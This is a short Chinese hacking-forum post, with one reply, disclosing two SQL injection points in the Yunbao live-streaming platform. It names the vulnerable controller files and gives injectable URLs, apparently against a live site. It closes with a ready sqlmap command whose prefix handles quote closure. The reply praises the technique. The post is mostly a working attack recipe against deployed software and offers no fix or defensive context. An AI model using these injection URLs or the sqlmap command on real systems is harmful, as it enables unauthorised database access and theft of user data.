请选择 进入手机版 | 继续访问电脑版
查看: 805|回复: 1

云豹直播系统两处注入漏洞

[复制链接]
  • TA的每日心情
    擦汗
    半小时前
  • 签到天数: 727 天

    [LV.9]以坛为家II

    发表于 2019-7-4 11:18:32 | 显示全部楼层 |阅读模式
    本帖最后由 90_ 于 2019-7-10 10:33 编辑

    注入一:
    文件位置:
    /application/Home/Controller/PlaybackController.class.php



    注入链接:

    [AppleScript] 纯文本查看 复制代码
    http://www.hedysx.com/index.php?g=Home&m=Playback&touid=1

    注入二:
    文件位置:
    /application/Appapi/Controller/VideoController.class.php



    注入链接:

    [AppleScript] 纯文本查看 复制代码
    http://www.hedysx.com/index.php?g=Appapi&m=Video&videoid=1


    注意闭合问题:
    [AppleScript] 纯文本查看 复制代码
    sqlmap -u 'http://www.xxxxxx.cn/index.php?g=Appapi&m=Video&videoid=1*' --prefix "1)" --force-ssl -v3
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    前天 22:41
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2019-7-9 01:44:13 | 显示全部楼层
    啧 学到了 这个姿势还真厉害
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表